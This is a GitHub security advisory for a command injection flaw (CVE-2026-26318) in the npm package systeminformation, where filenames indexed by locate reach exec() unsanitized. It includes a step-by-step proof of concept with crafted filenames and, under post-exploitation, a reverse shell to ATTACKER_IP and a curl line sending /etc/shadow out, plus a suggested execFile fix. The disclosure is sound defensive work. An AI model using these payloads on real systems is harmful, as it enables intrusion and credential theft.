Skip to content

Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

High
sebhildebrandt published GHSA-5vv4-hvf7-2h46 Feb 17, 2026

Package

npm systeminformation (npm)

Affected versions

<= 5.30.7

Patched versions

5.31.0

Description

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)


Reconnaissance

Started by identifying high-value npm packages that heavily use child_process.exec() for system-level operations. systeminformation immediately stood out — it's a system monitoring library with over 5 million weekly downloads on npm, used in monitoring dashboards, server health checks, and DevOps tooling.

What made it a strong target:

  • It has a formal SECURITY.md and accepts private security advisories
  • It has 9 prior command injection CVEs (GHSA-wphj-fx3q-84ch, GHSA-cvv5-9h9w-qp2m, GHSA-gx6r-qc2v-3p3v, and others from 2020–2025), all following the same pattern: user-controlled or external data concatenated into exec() calls
  • The package has its own sanitization function (sanitizeShellString) but doesn't apply it consistently across all code paths

I pulled the package locally and started a manual code audit:

mkdir /tmp/si-audit && cd /tmp/si-audit
npm install systeminformation@5.30.7

Source Code Analysis

Mapping the Attack Surface

First step was mapping every exec() and execSync() call across all library files:

grep -rn "exec(" node_modules/systeminformation/lib/*.js | wc -l

Found 100+ exec calls spread across 23 files. The key files with the most calls:

  • osinfo.js — 56 exec calls (version detection for dozens of tools)
  • network.js — 14 exec calls (interface stats, connections)
  • filesystem.js — 18 exec calls (disk info, block devices)
  • wifi.js — 3 exec calls (wireless scanning)
  • processes.js — several exec calls (service status, process stats)

Identifying the Sanitization Gap

The library has a function called sanitizeShellString() in lib/util.js that strips dangerous shell characters like ;, &, |, `, $, ', ", etc. Most functions that accept user input run it through this sanitizer before building commands.

I went through every exec() call looking for cases where external data reaches exec() without passing through sanitizeShellString(). Most paths were clean — the maintainer has clearly been patching these over time after the previous CVEs.

But then I hit lib/osinfo.js, line 770.

The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});

Here's what happens step by step:

  1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries
  2. It splits the output by newline and sorts the results alphabetically
  3. It takes the last element (highest alphabetically)
  4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().


Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

  1. Target system runs Linux — the vulnerable code path is inside an if (_linux) block
  2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL
  3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)
  4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb
  5. The locate database gets updatedupdatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate
# /usr/bin/locate

systemctl list-timers | grep plocate
# plocate-updatedb.timer    plocate-updatedb.service
# (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

Node.js sort order:
  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate
  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)

Quick verification:

node -e "
const paths = [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"

Output:

Sorted: [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
  console.log(data);
});

Internally, the library builds and executes this command:

/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V

The shell (/bin/sh -c) interprets this as three separate commands:

/var/tmp/x                         →  fails silently (not executable)
touch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES
/bin/postgres -V                   →  runs normally, returns version

Step 5 — Verify Code Execution

ls -la /tmp/SI_RCE_PROOF
# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF

The file exists. Arbitrary command execution confirmed.

The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.


Post-Exploitation

Once you have arbitrary command execution through this vector, the next steps depend on the environment:

Reverse shell:

mkdir -p "/var/tmp/x;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;/bin"
touch "/var/tmp/x;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;/bin/postgres"

Data exfiltration:

mkdir -p "/var/tmp/x;curl http://ATTACKER_IP/exfil?d=$(cat /etc/shadow|base64);/bin"
touch "/var/tmp/x;curl http://ATTACKER_IP/exfil?d=$(cat /etc/shadow|base64);/bin/postgres"

Lateral movement: If the Node.js process has access to cloud credentials, database connections, or internal APIs, those can be harvested from environment variables, config files, or process memory.


Real-World Attack Scenarios

Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.

Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

Scenario 3 — Container / Kubernetes Escape

In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.


Why This Bypasses Existing Defenses

The library has sanitizeShellString() which strips ;, &, |, `, $, and other dangerous characters. This function is used in most user-facing APIs like networkStats(), services(), processLoad(), etc.

But the locate output in versions() never passes through this sanitizer. The data flows directly from one exec() callback into another exec() call. It appears the developer treated locate output as trusted system data, but the locate database indexes all filenames on the filesystem, including those created by unprivileged users.

For reference, here are the prior CVEs in this same package with the exact same root cause — unsanitized external data reaching exec():

CVE / Advisory Date Function Vector
GHSA-wphj-fx3q-84ch Dec 2025 fsSize() Drive parameter on Windows
GHSA-cvv5-9h9w-qp2m Dec 2024 WiFi functions SSID injection
GHSA-gx6r-qc2v-3p3v Sep 2023 WiFi functions SSID injection
CVE-2021-21388 Mar 2021 inetChecksite() URL injection
CVE-2021-21315 Feb 2021 Multiple functions Parameter injection

The pattern is consistent: external string → string concatenation → exec() → shell interprets metacharacters.


Suggested Fix

Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:

const { execFile } = require('child_process');

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n')
      .filter(p => p.trim().length > 0)
      .sort();
    if (postgresqlBin.length) {
      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
        // ... parse version
      });
    }
  }
});

Additionally, the locate output should be validated against a safe path pattern before use:

const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
  .filter(p => safePath.test(p.trim()))
  .sort();

Disclosure

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-26318

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits